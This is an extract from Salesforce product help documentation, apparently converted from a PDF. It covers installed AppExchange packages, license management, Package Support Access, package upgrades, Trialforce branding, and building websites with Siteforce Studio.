Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 1801. Click Done to return to the Package detail page.

Viewing Installed Packages The installed package page lists the following package attributes (in alphabetical order): Attribute
Action

Description Can be one of two options: Uninstall Manage Licenses The total number of licenses you purchased for this package. The value is Unlimited if you have a site license for this package. This field is only displayed if the package is managed and licensed. A detailed description of the package. The date of the package installation. The date that this license expires, based on your terms and conditions. The expiration date is Does Not Expire if the package will never expire.This field is only displayed if the package is managed and licensed. The one to 15-character alphanumeric identifier that distinguishes a package and its contents from packages of other developers on AppExchange. The name of the package, given by the publisher. The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. This field is only displayed if the package is managed and licensed. A list of the remote access applications that can have access to a user's Salesforce data after the user and the application have been verified. The state of a package. Available values include: Trial Active Suspended Expired Free This field is only displayed if the package is managed and licensed.

Allowed Licenses

Description Installed Date Expiration Date

Namespace

Package Name Publisher

Remote Access

Status

2055

Installed Packages

Managing Package Installations

Attribute
Used Licenses

Description The total number of licenses that are already assigned to users. This field is only displayed if the package is managed and licensed. The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number.

Version Name

Viewing Installed Package Details The installed package detail page lists the following package attributes (in alphabetical order): Attribute
API Access

Description The type of access that the API and dynamic Apex scripts that package components have. The default setting is Unrestricted, which means that all package components that access the API have the same access as the user who is logged in. Click Enable Restrictions or Disable Restrictions to change the API and dynamic Apex access permissions for a package. For more information about API access and the access dynamic Apex scripts have for managed package components, see Managing API and Dynamic Apex Access in Packages on page 1629.

Description First Installed Version Number

A detailed description of the package. The first installed version of the package in your organization. This field is only displayed for managed packages. You can reference this version and any subsequent package versions that you have installed. If you ever report an issue with a managed package, you should include the version number in this field when communicating with the publisher. The name of the user that installed this package in your organization. The name of the last user to modify this package, including the date and time. The one to 15-character alphanumeric identifier that distinguishes a package and its contents from packages of other developers on AppExchange. The name of the package, given by the publisher. Indicates whether this is a managed or unmanaged package. The publisher of an AppExchange listing is the Salesforce user or organization that published the listing. This field is only displayed if the package is managed and licensed.

Installed By Modified By Namespace

Package Name Package Type Publisher

2056

Installed Packages

Managing Package Installations

Attribute
Version Name

Description The version name for this package version. The version name is the marketing name for a specific release of a package. It is more descriptive than the Version Number. The version number for the latest installed package version. The format is majorNumber.minorNumber.patchNumber, such as 2.1.3. The version number represents a release of a package. The Version Name is a more descriptive name for the release. Note that the patchNumber is generated only when you create a patch. If there is no patchNumber, it is assumed to be zero (0).

Version Number

You can also see a list of the components included in an installed package. The following component information is displayed (in alphabetical order): Attribute
Name Parent Object

Description Displays the name of the component. Displays the name of the parent object a component is associated with. For example, a custom object is the parent of a custom field. Displays the type of the component.

Type

See Also:
Managing Package Installations Importing Package Data

Importing Package Data


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To import Force.com AppExchange package data: The permissions required to use the import tool you choose, such as the import wizard or Data Loader.

When you uninstall an AppExchange package, Salesforce automatically creates an export file containing the package data as well as any associated notes and attachments. If you choose to install the package again, you can import this data. To import your AppExchange package data, use one of the following tools that is available for your Edition:

2057

Installed Packages

Managing Licenses for Installed Packages

For Group Edition, use the appropriate import wizard. For Professional Edition, use the appropriate import wizard or any compatible salesforce.com ISV Partner integration tool on http://sites.force.com/appexchange. For Enterprise, Developer, and Unlimited Edition, use the Data Loader.

Notes on Importing AppExchange Package Data Salesforce converts date fields into date/time fields upon export. Convert the appropriate fields into date fields before you import. Salesforce exports all date/time fields in Greenwich Mean Time (GMT). Before importing these fields, convert them to the appropriate time zone. The value of auto number fields may be different when you import. To retain the old values, create a new custom auto number field on a custom object before importing the data. Salesforce updates system fields such as Created Date and Last Modified Date when you import. To retain the old values for these fields, contact salesforce.com support. Relationships are not included in the export file. Recreate any master-detail or lookup relationships after importing your data. Record type IDs are exported but not the record type name. Field history is not exported. Recreate any customizations that you made to the package after installation.

See Also:
Managing Package Installations Displaying Installed Package Details Uninstalling a Package Installing a Package

Managing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for a AppExchange package: Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get more licenses, contact the publisher of the managed package. Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. 1. Click Your Name > Setup > Installed Packages.

2058

Installed Packages

Managing Licenses for Installed Packages

2. Click Manage Licenses next to the package. Note: To assign licenses for a package, you must have access to the package and at least one available license.

To assign licenses to more users, click Add Users. For more information, see Assigning Licenses for Installed Packages on page 2060. To remove a license from a user, click Remove next to the user's name. To remove licenses from multiple users, click Remove Multiple Users. For information, see Removing Licenses for Installed Packages on page 2061. Click any column heading to sort the users in ascending order using the data in that column. Click the heading again to sort in descending order. If available, select fewer or more to view a shorter or longer display list.

See Also:
Installing a Package Uninstalling a Package Managing Package Installations Upgrading Packages Managing Packages Assigning Licenses for Managed Packages Assigning Licenses for Installed Packages Removing Licenses for Installed Packages Responding to License Manager Requests

Assigning Licenses for Managed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit users: To manage licenses for an AppExchange package: Manage Users Manage Package Licenses

When you install a licensed managed package in your organization from AppExchange, you purchase a certain number of licenses from the package developer or publisher. You can assign each license to a user within your organization. If you assign all available licenses, but would like to grant licenses to additional users, you can reassign a license or purchase more. To get more licenses, contact the publisher of the managed package. The Managed Packages related list on the user detail page lists all managed packages that user is assigned. Assigning a license for a managed package makes the package available to the user within Salesforce. Unmanaged packages will not appear on this list, as you cannot assign licenses for them.

2059

Installed Packages

Managing Licenses for Installed Packages

To assign a user to a license for one of the available managed packages: 1. Click Your Name > Setup > Manage Users > Users. 2. Click Assign Licenses from the Managed Packages list. 3. Select the package you want to assign to the user. All available managed packages are listed in the Unassigned Packages list. After selecting a package, Salesforce automatically moves it to the Selected Packages list. The Unassigned Packages list displays all packages that this user could access if assigned a license. Packages will not appear on this list if they are unmanaged, uninstalled, in use, or not available. Click a letter to view the packages that begin with that letter or click All to display all available managed packages. Click select shown to select all packages displayed in the Unassigned Packages list on the current page, adding them to the Selected Packages list below. Click deselect shown or deselect all to move packages from the Selected Packages area to the Unassigned Packages area.

4. Click Add. To revoke a license from this user, click the Remove link next to the appropriate package name.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Installed Packages Removing Licenses for Installed Packages

Assigning Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for an AppExchange app: Manage Package Licenses

To assign licenses to Force.com AppExchange users: Note: If you purchased a site license or if the managed package is not licensed, Salesforce automatically assigns licenses to all your users and the ability to manage licenses is not available. Your users can use the package as long as they have the appropriate permissions. 1. 2. 3. 4. 5. Click Your Name > Setup > Installed Packages to find the installed package that has available licenses. Click the Manage Licenses link next to the package name. Click Add Users. Choose a view from the drop-down list, or click Create New View to build a new custom view. Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match the criteria of the current view.

2060

Installed Packages

Managing Licenses for Installed Packages

6. Select users. To select individual users, use the checkboxes. Selected users are listed in the Selected list. When the list includes all users to which you want to assign licenses, click Add. To select all users for the current view, click Add All Users then click OK. Note: You can also add a single user from the user's detail page. See Editing Users on page 476.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Managed Packages Removing Licenses for Installed Packages

Removing Licenses for Installed Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To manage licenses for an AppExchange package: Manage Package Licenses

To remove licenses for an AppExchange package from multiple users: 1. 2. 3. 4. Click Your Name > Setup > Installed Packages. Click Manage Licenses next to the package name. Click Remove Multiple Users. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. 5. Click a letter to filter the users with a last name that corresponds with that letter or click All to display all users who match the criteria of the current view. 6. Select users. To select individual users, use the checkboxes. Selected users appear in the Selected for Removal list. When the list includes all users for which you want to remove licenses, click Remove. To select all users in the current view, click Remove All Users, then click OK.

You can also remove licenses for an AppExchange package from a single user using the following options: 1. Click Your Name > Setup > Manage Users > Users and click Remove next to the package in the managed packages list.

2061

Installed Packages

Managing Licenses for Installed Packages

2. Click Your Name > Setup > Installed Packages, then click Manage Licenses next to the package name, and click Remove next to the user.

See Also:
Managing Packages Managing Licenses for Installed Packages Assigning Licenses for Managed Packages Assigning Licenses for Installed Packages

Responding to License Manager Requests


Available in: Developer Edition Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To respond to registration requests: Customize Application

A license manager is a Salesforce organization that tracks all Salesforce subscribers installing a particular AppExchange package. Salesforce administrators can choose to designate another organization as the license manager for one of their packages. The license manager does not need to be the same organization as the one from which the package is managed. To choose another organization as the license manager, all you need is an email address (not a Salesforce username). If a Salesforce administrator selects to have a third-party license manager and enters your email address, you will receive a license management request in email. To respond to a registration request: 1. Click the link in the license management request email. This displays the registration request in the requestor's Developer Edition organization. 2. Click Accept to complete the registration process. Alternatively, click Reject to decline the request and close the browser; this prevents you from using the link again. Note: If you accept this request, you authorize Salesforce to automatically create records in your Salesforce organization to track information about this package. Choosing a license manager organization is permanent and cannot be changed. 3. Enter the username and password for the Salesforce organization you want to use to manage licenses for this package. A license manager can be any Salesforce organization that has installed the free License Management Application (LMA) from Force.com AppExchange.

2062

Installed Packages

Package Support Access Beta

4. Click Confirm.

See Also:
Managing Packages Managing Licenses for Installed Packages

Package Support Access Beta


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To log in to a subscriber organization on the Subscriber Support tab: Log in to Subscriber Organization

Note: This release contains a beta version of Package Support Access. Bug fixes and improvements may be introduced in this release. Package Support Access allows AppExchange publishers to access an organization that has installed their licensed package, to identify installation problems or perform other support activities without exchanging credentials. As an AppExchange publisher, Package Support Access gives you read-only access to the App Setup area of a subscriber organization, including the pages under the Create, Customize, and Develop sections. Configuration issues commonly occur on initial package installation, particularly when the package requires manual configuration on the part of the subscriber administrator. Setup access is usually enough to troubleshoot configuration issues. The package and its version must be registered on AppExchange for Setup access to work. Prerequisites: The package must be licensed with the License Management Organization (LMA). You need to log a case in the Partner Portal and ask for package support access to be enabled for your package. If you have previously used push upgrades, then you already have access to this feature. Users who want to access subscriber organizations must be given the Log in to Subscriber Organization user permission by an administrator in the publishers LMO organization. To protect the security of the subscriber organization, its important that only trusted support and engineering personnel be given this permission. We recommend using a permission set to grant this permission to users whose main role is customer support.

To add the Subscriber Support tab to the LMA: 1. 2. 3. 4. 5. In the License Management Organization, click Your Name > Setup > Create > Apps. Click Select License Management App. Click Edit. Add the Subscriber Support tab to the Selected Tabs. Assign to the customer support rep profile (the profile of users who are authorized to use this feature).

To access a subscriber organization:

2063

Installed Packages

Upgrading Packages

1. Select the License Management Application in the app picker in the upper right hand side of their screen. 2. Select the Subscriber Support tab to see a list of subscriber organizations that have granted access. Note: If you dont see the subscriber listed, the subscribers system administrator has not granted you access. Ask the administrator to go to Your Name > Setup > Administration > Security Controls > Package Support Access and grant you permission. Also, in some scenarios, you may be logged out of the LMO when you access the subscriber org. 3. Find the subscribers organization name or id and click Access. You will be redirected and logged into the subscribers organization. 4. Once inside the subscriber organization, navigate into App Setup tree to view the subscribers configuration. 5. When you have completed troubleshooting, be sure to log out of the subscriber organization using the logout link.

Upgrading Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: To install and uninstall packages: Upload AppExchange Packages Download AppExchange Packages

Salesforce supports upgrades for managed packages only. Publishers can publish an upgrade for a managed package and notify installers that the new version is available. Installers of a managed package can then install the upgrade as follows: 1. Before you install an upgrade, determine if the app you installed was from a managed package. Look for the - Installed icon on the detail pages for each component and on the list of packages installed. If the app you installed is not from a managed package, upgrades for it are not available. 2. Then, install the upgrade in the same way you would install any other package from Force.com AppExchange directory. If the publisher provided a link to the new version, follow the link to the package posting and install it in your organization. The first page of the install wizard lists the current version you have installed, the version you are about to install, and a list of additional components included in the new version. Managed

Notes on Upgrading Managed Packages


Consider the following when upgrading a managed package: All existing custom objects that were previously deployed will still be deployed. Salesforce prompts you to deploy any new custom objects or previously undeployed custom objects. Profile settings are editable but not upgradeable. After upgrading, update the profile settings for any custom objects included in the package. The developer can make changes to profile settings after releasing them, but those changes will not be included in an upgrade. However, changes made to permission sets are included in the upgrade for any permission sets that were included in the package. If the developer chooses to add universally required custom fields, the fields will have default values. Translation Workbench values for components that are editable but not upgradeable are excluded from upgrades. For more information, see the Force.com Quick Reference for Developing Packages.

2064

Installed Packages

About Trialforce Branding

If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package to Unrestricted API access. When you upgrade a package, changes to the API access are ignored even if the developer specified them. This ensures that the administrator installing the upgrade has full control. Installers should carefully examine the changes in package access in each upgrade during installation and note all acceptable changes. Then, because those changes are ignored, the administrator should manually apply any acceptable changes after installing an upgrade.

See Also:
Installing a Package Uninstalling a Package Managing Package Installations Managing Licenses for Installed Packages

About Trialforce Branding


You asked for it! This enhancement is from an idea on IdeaExchange. App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand from sign-up to login. A Trialforce Branding page allows you to specify your login domain and login site. Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain would be mycompany.cloudforce.com. Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.

Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases, etc.

Creating a Branded Login Page


To create a branded login page: 1. Click Your Name > Setup > Trialforce > Branding > Login Site. 2. Click Set Up Login Site. 3. Select a subdomain for your login site by providing a name in the field provided. Usually this is the name of your company. Note: Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain would be mycompany.cloudforce.com. 4. Check the availability of the domain and then accept the terms of use.

2065

Installed Packages

Trialforce Master Organizations

5. Click Save and Launch Editor. 6. Use the Login Brand Editor to change how your login page looks. For additional help using the editor, click Help for this Page.

Creating Branded Emails


To begin, click New Email Set or Edit next to an existing email set. 1. 2. 3. 4. Fill in the fields with your company info. In the Preview Emails area, click through the different types of generated emails and make sure they read correctly. Click Save. If you're ready to make these emails available to your Trialforce master organizations, click Publish. Otherwise your changes will be saved and you can publish later.

Trialforce Master Organizations


Available in: Developer Edition

The Trialforce Master Organizations page helps you manage your Trialforce master organizations. To create a new master organization, click New . If you have an existing template organization you want to use, click Login.

New Trialforce Master Organization


Available in: Developer Edition

The Trialforce Master Organizations page helps you manage your Trialforce master organizations. To create a new master organization, click New. If you have an existing master organization you want to use, click Login.

Trialforce Branding

2066

Installed Packages

Trialforce Branding

Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

The Trialforce Branding page allows you to set login and email branding. To set login branding, click Create a branded login page. To set email branding click Customize system emails.

Trialforce Branded Login Site


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Use the Trialforce Branded Login Site page to create, publish, and edit a login page that has your company's look and feel. If you haven't set up a login site yet, click Set Up Login Site. If you've already set up a login site, click Publish to make the site available, or Launch Site Editor to make changes.

Trialforce Login Site Domain


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Choose a subdomain where customers will log into your application. Usually the subdomain is the name of your company. 1. 2. 3. 4. In the field provided, enter a name. Click Check Availability. Accept the terms of use. Click Save and Launch Editor.

2067

Installed Packages

Trialforce Branding

Trialforce Login Branding Editor


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Use the Branded Login Site Editor to design your login pages. 1. At the top of the editor click the tab for the size of login page you are designing: Desktop or Mobile. 2. In the left pane, expand the Page Header node and click Select File to choose your company logo for each size screen your app supports. 3. In the Logo Link > Use custom link field, optionally enter a web address that will be used when a customer clicks your logo, such as your corporate website. The URL must start with http:// or https://. If you leave this field blank, your logo will not have a link. 4. Expand Page Content node and paste in the trial sign-up link URL from your Trialforce Templates page into the Trial Sign-Up Link > Use custom link field. 5. Provide URLs for the right and bottom of the page. If you leave these fields blank, the frames default to the ones used on the Salesforce login page. 6. Expand the page footer and provide your company name and font color. 7. Expand the page background node and provide a background image and color. 8. At the top of the page click Save and Close. 9. On the Branded Login Site page, click Preview for the size of the page you want to see. Make sure your login page appears correct for each login page your app supports.

Trialforce Branded Email Sets


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

Trialforce Email Branding allows you to modify system-generated emails so that they appear to come from your company rather than from Salesforce.com. Trialforce Email Branding only applies to users who sign up for your application through Trialforce. Each Trialforce master organization comes with a standard set of email notifications that are sent to customers. For example, customers get an email notification when they first sign up, or when they reset their password. You don't have to rewrite all of these system-generated emails yourself, just provide the values for the fields and the system takes care of the rest.

2068

Installed Packages

Trialforce Branding

Edit Trialforce Branded Email Set


Available in: Developer Edition

User Permissions Needed To define package branding: Package Branding

To begin, click New Email Set or Edit next to an existing email set. 1. 2. 3. 4. Fill in the fields with your company info. In the Preview Emails area, click through the different types of generated emails and make sure they read correctly. Click Save. If you're ready to make these emails available to your Trialforce master organizations, click Publish. Otherwise your changes will be saved and you can publish later.

2069

BUILDING SITES

Siteforce Overview
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Siteforce is a Web content management system (CMS) that makes it easy to build Web pages quickly, edit content in real time, and manage your websites. From the Sites tab in the Siteforce app, you can launch Siteforce Studio, which provides a separate, dedicated environment for creating and editing pixel-perfect, custom websites. Publishers can create and style Web pages, and add features such as navigation menus, images, and text areas using drag-and-drop page elements, while ensuring the site's pages match the look and feel of the company's brand. And content contributors, such as marketing users, can browse and update website content directly in a simplified Siteforce Studio environment. Additionally, websites built with Siteforce benefit from running on salesforce.com's trusted global infrastructure. Note: The features available in Siteforce Studio vary depending on whether you're a publisher or a contributor.

The following examples illustrate a few ways to use Siteforce: Create an event siteAdvertise upcoming events, such as grand openings, launches, or sales kick-offs on a public event site. Promote new productsLaunch new products into the market with a promotional website that helps drive sales. Publish a support FAQProvide helpful information on a public website where customers can view solutions to their issues. Create microsites and landing pagesCreate temporary landing pages or targeted microsites for marketing campaigns.

System Requirements
To use Siteforce Studio, we recommend: Mozilla Firefox or Google Chrome for best performance. Windows Internet Explorer versions 6.0 and 7.0 are not supported. Disabling the Firebug extension for Firefox, if installed, as it can impact performance.

2070

Building Sites

About Publisher and Contributor Features

A minimum browser resolution of 1024x768.

See Also:
Setting Up Siteforce Users Supported Browsers Planning and Implementing a Siteforce Website Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

About Publisher and Contributor Features


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

The features available in Siteforce Studio vary for publishers and contributors. Publishers have full access to Siteforce Studio, where they can build and style websites, control the layout and functionality of pages and page elements, and add and edit content. Contributors can use Siteforce Studio to edit site content only. Feature Create a website Users also need the Manage Users and Customize Application permissions. Create page templates Create site pages If enabled by the publisher Create and modify style sheets Modify layout and design Import assets, such as images Edit content and images If enabled by the publisher Preview site pages Publisher Contributor

2071

Building Sites

Setting Up Siteforce Users

Feature Manage domains

Publisher

Contributor

Unavailable for Developer Editions Publish changes to the live site Unavailable for Developer Editions

See Also:
Siteforce Overview Setting Up Siteforce Users Planning and Implementing a Siteforce Website Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

Setting Up Siteforce Users


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or edit users: Manage Users

A separate Siteforce feature license is required for each Siteforce user in your organization. Siteforce Publisher allows the user to access Siteforce Studio to build and style websites, control the layout and functionality of pages and page elements, and add and edit content. Siteforce Contributor allows the user to access Siteforce Studio to edit site content only.

To allocate Siteforce Publisher feature licenses to users in your organization, select the Siteforce Publisher User checkbox when adding new users or editing a user's personal information. Alternatively, for contributors, select the Siteforce Contributor User checkbox. Once allocated a feature license, users can access the Siteforce app in the Force.com app menu in the Salesforce header. Note: If the checkboxes don't appear, verify that Siteforce is enabled for your organization. Organizations using Unlimited or Enterprise Editions must purchase Siteforce Publisher and Siteforce Contributor feature licenses separately. For information on purchasing Siteforce feature licenses, contact salesforce.com. Developer Edition organizations contain two Siteforce Publisher feature licenses and one Siteforce Contributor feature license.

2072

Building Sites

Planning and Implementing a Siteforce Website

You can view the number of assigned feature licenses on your organization's profile.

See Also:
Siteforce Overview About Publisher and Contributor Features Viewing Feature Licenses

Planning and Implementing a Siteforce Website


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create and delete Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page AND Manage Users AND Customize Application To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

There are many approaches to building a website. The process that best suits you depends on many factors, such as the size of your team and the tasks you're responsible for. If you're a publisher, you may be involved in every stage, including adding and maintaining the site's content. Alternatively, you may have contributors who add, edit, and maintain this content. And if you're a contributor, you may be responsible for editing and updating all of the site's content, or you may work with other contributors and publishers to bring the site to completion. This topic describes the various stages involved in creating a site with Siteforce. Plan the Site Design and Page Layout (Publisher)Before building the pages of the site, spend time planning the site design and basic layout. This stage is key to ensuring a consistent look and feel with the minimum amount of effort. From a hierarchical point of view, think about how many pages you need and whether they'll have subpages. Also consider how you want site visitors to navigate around your site. Next, plan the layout of the pages and identify the common elements that every page will have. In this example, the site has a header section that includes the company's logo and menu (1), and a footer section (2). However, the main section

2073

Building Sites

Planning and Implementing a Siteforce Website

of the home page (3) differs from the rest of the site pages (4). Take note of these similarities and differences, because they will affect how you create your site pages.

Create the Site (Publisher)Once you've completed the planning stage, you're ready to get started! Log into the Siteforce app and go to the Sites tab, where you can create your first site. You can choose from a predesigned template, which is a great place to start if you're just getting to know Siteforce and would like to explore the product. If you're ready to begin building your own site, however, you probably want to start with a blank site and create your pages from scratch. Your new site opens in Siteforce Studio, a powerful environment for building your site pages. Note: Only users with the Manage Users and Customize Application permissions and the Siteforce Publisher User field enabled on their user detail page can create sites.

Import Assets (Publisher)If you're working with a design agency, they may provide all of the files and assets you need, including a CSS style sheet. If you've created your own design, cut up the design and collect the assets, images, and files you plan to use in the site. Import the assets into Siteforce Studio, where they appear in the Assets section of the Overview tab. Create a Page Template (Publisher)Once you've decided on the layout, the quickest and most effective method is to use page templates to build the basic layout and then base your site pages on it. Try to keep the design of your main page template simple to make it easier to modify in the future. For more complicated site designs, such as the example graphic, you can use the main page template as the basis for a nested template to achieve maximum flexibility. When you create your page template, you can choose from predesigned layouts that include headers, footers, and columns, or you can create a blank page template. Lay Out the Page (Publisher)After you create the page template, you can modify the layout further to match the design of your site. Create the Site Pages (Publisher)Using the template as a base, you can quickly create the site pages, which automatically inherit all the elements of the page template. Or if you need a standalone page that doesn't follow the site's overall design, you can create a blank page instead. Add Features and Page Elements (Publisher)Use Siteforce's prebuilt page elements to add features such as navigation menus and images, and content blocks that contributors can edit. And add interactive, animated effects using events and actions. Make Your Website Look Good (Publisher)Take advantage of cascading style sheets (CSS) to develop the look and feel of your website. If you're not completely up to speed with CSS, the Style pane provides an easy, visual way to create and manage styles. Or if you're a CSS expert who likes to get straight into the code, you can hand-code the site's style sheets. Add and Edit Content (Contributor or Publisher)At this stage, if you're a contributor, the site is usually ready for you to add and edit content such as text, images, videos, and hyperlinks. And as you work, you can upload any images or files you need.

2074

Building Sites

Sites Tab Overview

Review and Test the Site (Contributor or Publisher)Testing the changes to the pages of your site happens throughout the development cycle. As a contributor or publisher, you should always preview your changes to ensure they display as expected in a browser. And if you're a publisher, you can send a preview link to the site's reviewers so they can review the finished product before it goes live. Publish the Site (Publisher)After your testing is complete, you're ready to go live with your new site. Just set the site's domain information and then publish your changes to make your site live!

See Also:
Siteforce Overview Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

Sites Tab Overview


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create and delete Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page AND Manage Users AND Customize Application To build and publish Siteforce sites: To edit the content of Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Contributor User field enabled on the user

detail page

If you can't see the Sites tab, go to the Siteforce app. It's available in the Force.com app menu in the Salesforce header. Then click the Sites tab to view the list of your Siteforce sites. From this page you can: Click New to create a site. Only users with the Manage Users and Customize Application permissions and the Siteforce Publisher User field enabled on their user detail page can create sites. Filter the sites you see by selecting a predefined list from the drop-down list. Click Edit next to a site to open it in Siteforce Studio. Click Preview next to a site to see how it looks when rendered in a browser window.

2075

Building Sites

Using Siteforce Studio as a Publisher

Click Del next to a site to remove it. Only users with the Manage Users and Customize Application permissions and the Siteforce Publisher User field enabled on their user detail page can delete sites. Note: After you publish a site, you can't delete it, but you can take it offline.

See Also:
Siteforce Overview Planning and Implementing a Siteforce Website Using Siteforce Studio as a Publisher Using Siteforce Studio as a Contributor

Using Siteforce Studio as a Publisher


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites: To create and delete Siteforce sites:
Siteforce Publisher User field enabled on the user

detail page
Siteforce Publisher User field enabled on the user

detail page AND Manage Users AND Customize Application

Watch a Demo on Building a Website with Siteforce (3:00 minutes) As a publisher, when you open a site in the dedicated Siteforce Studio environment, you manage the site and access site components such as pages, style sheets, and assets on the Overview tab. From the Overview tab, you can: Import assets, such as images and files. Create page templates to base your site pages on. Create site pages. Create style sheets and add styles to it. View and edit a page or template.

2076

Building Sites

Using Siteforce Studio as a Contributor

Access more page options. Organize the site hierarchy by dragging site pages to the correct location. Modify properties, such as the site name and home page. Preview your site or generate an anonymous preview link to send to other users. Manage the domain information for your site. Publish your recent changes to the live site. Use the site's pull-down menu at the top to: Open recently accessed sites. Exit Siteforce Studio and return to Salesforce. Create and open a new site. Only users with the Manage Users and Customize Application permissions and the Siteforce Publisher User field enabled on their user detail page can create sites.

View information about the most recently modified files in the Recent Changes section.

See Also:
Siteforce Overview Planning and Implementing a Siteforce Website Sites Tab Overview

Using Siteforce Studio as a Contributor


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit the content of Siteforce sites:


Siteforce Contributor User field enabled on the user

detail page

Watch a Demo on Editing and Managing Content with Siteforce (2:53 minutes) As a contributor, when you open a site in the dedicated Siteforce Studio environment, you access and edit the pages of your site on the Overview tab. From the Overview tab, you can: View and edit a page. Create site pages, if available. Import assets, such as images and files. Preview the site in a browser window. Use the site's pull-down menu at the top to:

2077

Building Sites

Creating a Siteforce Site

Open recently accessed sites. Exit Siteforce Studio and return to Salesforce. View information about the most recently modified files in the Recent Changes section.

See Also:
Siteforce Overview Planning and Implementing a Siteforce Website Sites Tab Overview

Creating a Siteforce Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create and delete Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page AND Manage Users AND Customize Application

When you create a site, you can use a predesigned template, which is a great place to start if you're just getting to know Siteforce and would like to explore the product. Or you can start with a blank site and create your pages from scratch. 1. On the Sites tab in the Siteforce app, click New. Alternatively, in Siteforce Studio, click Create a New Site in the site's drop-down menu. 2. Click either: Start with a template to create a site that includes pages, a page template, assets, and CSS styles Create a blank website to create an empty site without pages or assets

2078

Creating and Managing Pages

Understanding the Publisher's Page Editing View

3. Enter the site name and click GO. Your new website opens in Siteforce Studio, where you can create page templates and site pages, and add functionality to it.

See Also:
Creating Siteforce Page Templates Creating Site Pages as a Siteforce Publisher Understanding the Publisher's Page Editing View Setting Site Properties Using Siteforce Studio as a Publisher

CREATING AND MANAGING PAGES


Understanding the Publisher's Page Editing View
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build and publish Siteforce sites:


Siteforce Publisher User field enabled on the user

detail page

When working with Siteforce page templates and site pages as a publisher, you can add content, structure, and style, all in one place. Open a page or template on the Overview tab by double-clicking it or hovering over it and clicking > Edit. The page opens as a new tab.

2079

Creating and Managing Pages

Understanding the Publisher's Page Editing View

Using the Page Elements and element hierarchy.

Page Structure panes (1), you can add page elements to a page and reorder the page Events panes (2), you can set properties, add style, and create events for a

Using the Properties, Style, and selected page or element. Using the toolbar (3), you can:

Edit page text. Undo and redo your actions. Cut, copy, or paste page elements. Import assets, such as images and files. Preview your site or generate an anonymous preview link to send to other users. Publish your recent changes. Access other page actions, such as renaming or deleting the page.

On the page canvas (4), you can lay out the page and select, edit, and move page elements. Tip: Hide the side panes to increase the canvas size by clicking and . To reopen a pane, click its icon.

As you edit a page, your changes are saved and the status icon ( ) on the page tab is updated automatically. If the site page or page template is based on another template, editable page elements are highlighted with a blue border on the page.

See Also:
Using Siteforce Studio as a Publisher

2080

Creating and Managing Pages

Siteforce Page Templates Overview

Siteforce Page Templates Overview


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Before you begin building the pages of your website, take some time to plan the pages you need, and in particular, which pages will have a similar layout. Once you've decided on the layout, the quickest method is to use a page template to build the basic layout.

About Page Templates


